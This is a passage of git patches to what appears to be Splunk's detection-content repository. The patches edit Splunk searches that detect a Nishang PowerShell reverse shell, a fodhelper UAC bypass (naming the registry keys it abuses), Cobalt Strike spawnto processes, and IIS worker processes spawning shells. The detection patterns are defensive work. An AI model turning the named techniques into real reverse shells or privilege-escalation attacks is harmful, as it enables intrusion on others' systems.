-  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
-  (Processes.process=*Net.Sockets.TCPClient*) by Processes.dest
-  Processes.user Processes.parent_process Processes.process_name Processes.process
-  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
-  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `nishang_powershelltcponeline_filter`'
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe
+  OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
+  (Processes.process=*Net.Sockets.TCPClient*) by Processes.dest Processes.user Processes.parent_process
+  Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
+  | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`|
+  `nishang_powershelltcponeline_filter`'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Processes` node.
-known_false_positives: Limited false positives may be present. Filter as needed based on initial analysis.
+known_false_positives: Limited false positives may be present. Filter as needed based
+  on initial analysis.
 references:
 - https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
 - https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
@@ -36,4 +42,4 @@ tags:
   - Splunk Enterprise
   - Splunk Enterprise Security
   - Splunk Cloud
-  
\ No newline at end of file
+  automated_detection_testing: passed

From 66514f0b6c986c2ad4ed576308fce1917bf2f276 Mon Sep 17 00:00:00 2001
From: mhaag-spl <5632822+MHaggis@users.noreply.github.com>
Date: Thu, 4 Mar 2021 06:05:17 -0700
Subject: [PATCH 64/67] formatting updates

---
 detections/endpoint/fodhelper_uac_bypass.yml | 1 +
 stories/cobalt_strike.yml                    | 4 ++--
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/detections/endpoint/fodhelper_uac_bypass.yml b/detections/endpoint/fodhelper_uac_bypass.yml
index f37f5924bc..2c65a5dd1e 100644
--- a/detections/endpoint/fodhelper_uac_bypass.yml
+++ b/detections/endpoint/fodhelper_uac_bypass.yml
@@ -16,6 +16,7 @@ description: 'Fodhelper.exe has a known UAC bypass as it attempts to look for sp
   1. `HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute`\
 
   1. `HKCU:\Software\Classes\ms-settings\shell\open\command\(default)`\
+  
 
   Upon triage, fodhelper.exe will have a child process and read access will occur
   on the registry keys. Isolate the endpoint and review parallel processes for additional
diff --git a/stories/cobalt_strike.yml b/stories/cobalt_strike.yml
index d2a0170077..bb4cc786aa 100644
--- a/stories/cobalt_strike.yml
+++ b/stories/cobalt_strike.yml
@@ -13,14 +13,14 @@ narrative: 'This Analytic Story supports you to detect Tactics, Techniques and P
 
   Splunk Threat Research reviewed all publicly available instances of Malleabe C2 Profiles and generated a list of the most commonly used spawnto and pipenames.\
   
-  Spawnto_x86 and spawnto_x64 is the process that Cobalt Strike will spawn and injects shellcode into.\
+  `Spawnto_x86` and `spawnto_x64` is the process that Cobalt Strike will spawn and injects shellcode into.\
   
   Pipename sets the named pipe name used in Cobalt Strikes Beacon SMB C2 traffic.\
 
   With that, new detections were generated focused on these spawnto processes spawning without command line arguments. Similar, the named pipes most commonly used by Cobalt Strike added as a detection.
   In generating content for Cobalt Strike, the following is considered:\
 
-  - Is it normal for <pawnto_ value to have no command line arguments? No command line arguments and a network connection?\
+  - Is it normal for spawnto_ value to have no command line arguments? No command line arguments and a network connection?\
 
   - What is the default, or normal, process lineage for spawnto_ value?\
 

From 53cfecd6f611a40d21d6a4af81e29f78a212fb46 Mon Sep 17 00:00:00 2001
From: mhaag-spl <5632822+MHaggis@users.noreply.github.com>
Date: Thu, 4 Mar 2021 06:08:32 -0700
Subject: [PATCH 65/67] Update fodhelper_uac_bypass.yml

---
 detections/endpoint/fodhelper_uac_bypass.yml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/detections/endpoint/fodhelper_uac_bypass.yml b/detections/endpoint/fodhelper_uac_bypass.yml
index 2c65a5dd1e..686b19dad2 100644
--- a/detections/endpoint/fodhelper_uac_bypass.yml
+++ b/detections/endpoint/fodhelper_uac_bypass.yml
@@ -17,7 +17,6 @@ description: 'Fodhelper.exe has a known UAC bypass as it attempts to look for sp
 
   1. `HKCU:\Software\Classes\ms-settings\shell\open\command\(default)`\
   
-
   Upon triage, fodhelper.exe will have a child process and read access will occur
   on the registry keys. Isolate the endpoint and review parallel processes for additional
   behavior.'

From 8335e8545b2089384a4cccfa6c8fb5076c0a1d27 Mon Sep 17 00:00:00 2001
From: mhaag-spl <5632822+MHaggis@users.noreply.github.com>
Date: Thu, 4 Mar 2021 06:31:12 -0700
Subject: [PATCH 66/67] Update nishang_powershelltcponeline.yml

---
 detections/endpoint/nishang_powershelltcponeline.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/detections/endpoint/nishang_powershelltcponeline.yml b/detections/endpoint/nishang_powershelltcponeline.yml
index 8f6379ca8d..3610be1a0c 100644
--- a/detections/endpoint/nishang_powershelltcponeline.yml
+++ b/detections/endpoint/nishang_powershelltcponeline.yml
@@ -9,13 +9,13 @@ datamodel:
 description: This query detects the Nishang Invoke-PowerShellTCPOneLine utility that
   spawns a call back to a remote command and control server. This is a powershell
   oneliner. In addition, this will capture on the command-line additional utilities
-  used by Nishang. Triage the endpoint and identify any parallel processes that look
+  used by Nishang. Triage the endpoint and identify any parallel processes that look 
   suspicious. Review the reputation of the remote IP or domain contacted by the powershell
   process.
 search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
   as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe
   OR Processes.process_name=pwsh.exe OR Processes.process_name=PowerShell_ISE.exe
-  (Processes.process=*Net.Sockets.TCPClient*) by Processes.dest Processes.user Processes.parent_process
+  (Processes.process=*Net.Sockets.TCPClient* AND Processes.process=*System.Text.ASCIIEncoding*) by Processes.dest Processes.user Processes.parent_process
   Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
   | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`|
   `nishang_powershelltcponeline_filter`'

From fcb9fa534092b24a5956520f9de07c1b22d0f04f Mon Sep 17 00:00:00 2001
From: mhaag-spl <5632822+MHaggis@users.noreply.github.com>
Date: Thu, 4 Mar 2021 06:38:00 -0700
Subject: [PATCH 67/67] W3WP Spawning shells

---
 .../endpoint/w3wp_spawning_shell.yml          | 35 +++++++++++++++++++
 1 file changed, 35 insertions(+)
 create mode 100644 detections/experimental/endpoint/w3wp_spawning_shell.yml

diff --git a/detections/experimental/endpoint/w3wp_spawning_shell.yml b/detections/experimental/endpoint/w3wp_spawning_shell.yml
new file mode 100644
index 0000000000..8ecf756e98
--- /dev/null
+++ b/detections/experimental/endpoint/w3wp_spawning_shell.yml
@@ -0,0 +1,35 @@
+name: W3WP Spawning Shell
+id: 0f03423c-7c6a-11eb-bc47-acde48001122
+version: 1
+date: '2021-03-03'
+author: Michael Haag, Splunk
+type: batch
+datamodel:
+- Endpoint
+description: This query identifies a shell, PowerShell.exe or Cmd.exe, spawning from W3WP.exe, or IIS. In addition to IIS logs, this behavior with an EDR product will capture potential webshell activity, similar to the HAFNIUM Group abusing CVEs, on publicly available Exchange mail servers.
+  During triage, review the parent process and child process of the shell being spawned. Review the command-line arguments and any file modifications that may occur. Identify additional parallel process, child processes, that may highlight further commands executed. After triaging, work to contain the threat and patch the system that is vulnerable. 
+search: '| tstats `security_content_summariesonly` count values(Processes.process_name)
+  as process_name values(Processes.process) as process min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=w3wp.exe
+  AND Processes.process_name=cmd.exe OR Processes.process_name=powershell.exe by Processes.dest Processes.parent_process
+  Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`
+  | `security_content_ctime(lastTime)`| `w3wp_spawning_shell_filter`'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+known_false_positives: Baseline your environment before production. It is possible build systems using IIS will spawn cmd.exe to perform a software build. Filter as needed. 
+references:
+- https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/
+tags:
+  analytic_story:
+  - HAFNIUM Group
+  dataset: []
+  kill_chain_phases:
+  - Exploitation
+  mitre_attack_id:
+  - T1505.003
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file